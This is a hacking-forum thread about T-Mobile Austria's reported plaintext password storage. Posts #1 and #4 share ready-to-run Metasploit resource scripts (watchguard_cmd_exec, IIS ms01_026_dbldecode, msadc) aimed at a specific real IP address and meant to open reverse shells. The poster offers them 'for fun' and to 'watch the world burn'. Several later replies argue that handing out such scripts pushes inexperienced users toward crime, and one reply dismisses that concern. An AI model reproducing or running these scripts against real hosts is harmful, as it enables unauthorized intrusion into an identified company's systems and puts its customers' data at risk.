T-Mobile
#1
Hi guys, incase you haven't heard this yet go look here and fill your head with knowledge about https://tmobile.at.

So long story short, they store passwords in their database in plaintext. I love you guys, so I decided I'd share with you their FreeBSD exploit to their Linux 2.6 kernel. The exploit comes standard in MSF and successfully creates a a reverse session on the target. Here is the RPC file:
Code:
# rhosts, and rhost is just used as a safety net incase one is needed and not the other
workspace -a tmobile-attacks
use exploit/freebsd/http/watchguard_cmd_exec
setg lhost <YOUR-HOST>
setg lport <YOUR-PORT>
setg verbose true
setg threads 20
set rhost 212.166.122.131
set rhosts 212.166.122.131
run

This will successfully exploit them and start a shell. Have fun guys! You didn't get it from me. I'll also be posting it on Twitter in three days (if they don't reply that is). So get it before the world gets it.

In case you don't wanna click on my sketchy ass link, it's right here as well: https://motherboard.vice.com/en_us/artic...d-security
Reply
#2
...I'm going to try really hard not to run that script to verify their website exploit. In fact, I've just thrown my Kali Live stick out the window.

Plus their database of customer logins will (not so sure now...) run on a different system unconnected to their main website, so there shouldn't be any ability to access those plaintexts passwords from a compromised web server alone.

But wow, that twitter post:

Quote:Hello Claudia! The customer service agents see the first four characters of your password. We store the whole password, because you need it for the login.

I just... can't even... so much agony on so many levels.

However, after looking at their exploded Twitter feed and reading the news coverage - I strongly suspect that they ARE hashing passwords, but extracting the first four characters during password creation for use by their customer service team.

Whilst this is certainly very bad practice, it is still possible to implement compensating controls to reduce the risk of that practice down a bit. For example, storing those first four characters on an isolated system only available to customer service staff, encrypt the record in the database, and potentially even require escalation to a manager before the contents can be decrypted.

In reality there's no way they're doing any of that... So yeah, this is pretty bad, I just doubt it's as bad as it sounds.

I've seen my fair share of plain-text passwords in databases, it definitely happens. But this is a big telecom company... There's no way...



Lol @ this one https://twitter.com/chrishmueller/status...5164425216
Reply
#3
https://twitter.com/Zeus_Scanner/status/...70624?s=20

Couldn’t help myself
Reply
#4
Here's two more:

Code:
use exploit/windows/iis/ms01_026_dbldecode
setg lhost <YOUR-HOST>
setg lport <YOUR-PORT>
setg verbose true
setg threads 20
set rhost 212.166.122.131
set rhosts 212.166.122.131
run


use exploit-windows/iis/msadc
setg lhost <YOUR-HOST>
setg lport <YOUR-PORT>
setg verbose true
setg threads 20
set rhost 212.166.122.131
set rhosts 212.166.122.131
run
Reply
#5
(04-08-2018, 02:18 PM)ekultek Wrote: Here's two more:

Code:
use exploit/windows/iis/ms01_026_dbldecode
setg lhost <YOUR-HOST>
setg lport <YOUR-PORT>
setg verbose true
setg threads 20
set rhost 212.166.122.131
set rhosts 212.166.122.131
run


use exploit-windows/iis/msadc
setg lhost <YOUR-HOST>
setg lport <YOUR-PORT>
setg verbose true
setg threads 20
set rhost 212.166.122.131
set rhosts 212.166.122.131
run

I have to ask, what exactly is the point of posting these. As far as I can identify, there are two major scenarios about how someone might use this information:

1. Someone who does not know much about hacking (for example, a script kiddie) may get excited about the fact that a website has multiple exploits and that you have provided a way for them to get shell access. They may be aware that their IPs are recorded and will generally use ToR, but, of course, ToR isn't going to work for receiving a reverse shell. The most likely situation is that people will use their own IP.

It doesn't even matter if they find someway to use an untraceable IP, because for this category of user you are basically goading them into committing a very serious crime.

2. The second type of user is someone who understands exactly what these exploits are targeting and how to use them. These users may not have identified these exact vulnerabilities and so you have basically provided a service to them. They will know how to use msfconsole, and won't need to look at the script you've provided.

Now, I don't so much have a problem with this second class of user - they have the ability to make informed decisions. The latter largely do not. You either appeal to their desire to test new tools and techniques, or their technical inexperience, or lack of maturity. Whilst I encourage sharing information and trying to help people understand WHY certain things happen, such as exploit codes, a silver bullet approach is (I feel) very unhealthy for the community and just generally irresponsible.

I'm not saying you are suddenly responsible for other people's actions by posting this code, I just think it's something we should be more conscious off - and lean towards delivering new knowledge, rather than directly influencing people to commit crimes. I refer again to the research by the National Crime Agency: https://nofile.io/f/8kTVHn3tV9O/0325-CYB...ternet.pdf

We should be trying really hard to discuss issues openly, explain why certain things (like storing plain text passwords) are inappropriate, and explain the technical foundations for exploit codes. We shouldn't be sharing exploit code on it's own, even if this information is easily available otherwise. Let's just try to make people a little more culpable in terms of their decision making and aware of the gravity of what posting this code is asking them to do.

Sorry if I'm coming off to harsh, this is just something I feel passionately about.
Reply
#6
Yes, and no. We all started as script kiddies, you didn’t get where you are by not making stupid mistakes. I posted this because I thought it was cool, and I was feeling like watching the world burn. You’re not coming off harsh, I understand what you’re saying. But I’m order for people to learn, you have to do (well that’s how I learn anyways, by doing). Idk man, just thought I’d share some RPC files, what you do with it, is up to you.

Now if you’d like I can explain each exploit and tell you exactly who, what, where, when, why. But I feel like that is overkill for the situation.
Reply
#7
(04-09-2018, 12:55 PM)ekultek Wrote: Yes, and no. We all started as script kiddies, you didn’t get where you are by not making stupid mistakes. I posted this because I thought it was cool, and I was feeling like watching the world burn. You’re not coming off harsh, I understand what you’re saying. But I’m order for people to learn, you have to do (well that’s how I learn anyways, by doing). Idk man, just thought I’d share some RPC files, what you do with it, is up to you.

Now if you’d like I can explain each exploit and tell you exactly who, what, where, when, why. But I feel like that is overkill for the situation.

I just dispute that "We all started as script kiddies", and even if we did, we should be doing what we can to ensure other people don't go down that same road. Again, according to NCA, script kiddies are a major problem with the cyber security industry and dramatically increases the probability of becoming black hat (and, therefore, of going to prison).

Where possible, we should be diverting people away from this avenue. One of these ways could be reducing the amount of exploit scripts we share publicly, and other might be pointing towards legitimate sources of learning, such as vulnerable VMs etc.

Even if we're not being directly responsible for someone's actions, I still think even subtly encouraging people to go down a criminal route is no joke. We should be being role models for the community and for the emerging cyber security talent.
Reply
#8
(04-09-2018, 02:15 PM)EnigmaCookie Wrote: Even if we're not being directly responsible for someone's actions, I still think even subtly encouraging people to go down a criminal route is no joke. We should be being role models for the community and for the emerging cyber security talent.

I can respect this.
Reply
#9
Anyone that thinks that posting exploit code or offensive security tools is "goading" Script Kiddies into committing a crime has no faith in people's ability to think critically. And even in case someone lacks the ability to think critically and make good decisions that's really their problem and maybe some tough love will teach them a valuable life lesson.
Reply
#10
(04-15-2018, 09:36 AM)Vector Wrote: Anyone that thinks that posting exploit code or offensive security tools is "goading" Script Kiddies into committing a crime has no faith in people's ability to think critically. And even in case someone lacks the ability to think critically and make good decisions that's really their problem and maybe some tough love will teach them a valuable life lesson.

You are right. I have absolutely no faith in people's ability to think critically, especially when they are young and have no experience or training in how to think critically!

And no, this is not their problem, it's our problem. Thinking like that is what holds the community back, and in the meantime people are going to jail and having their lives ruined.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Mobile Application Exploitation by Attify certasker 3 5,522 03-26-2020, 09:24 PM
Last Post: kodachi
  Free Mobile Data?? Lewis 1 1,734 03-10-2019, 06:28 AM
Last Post: MuddyBucket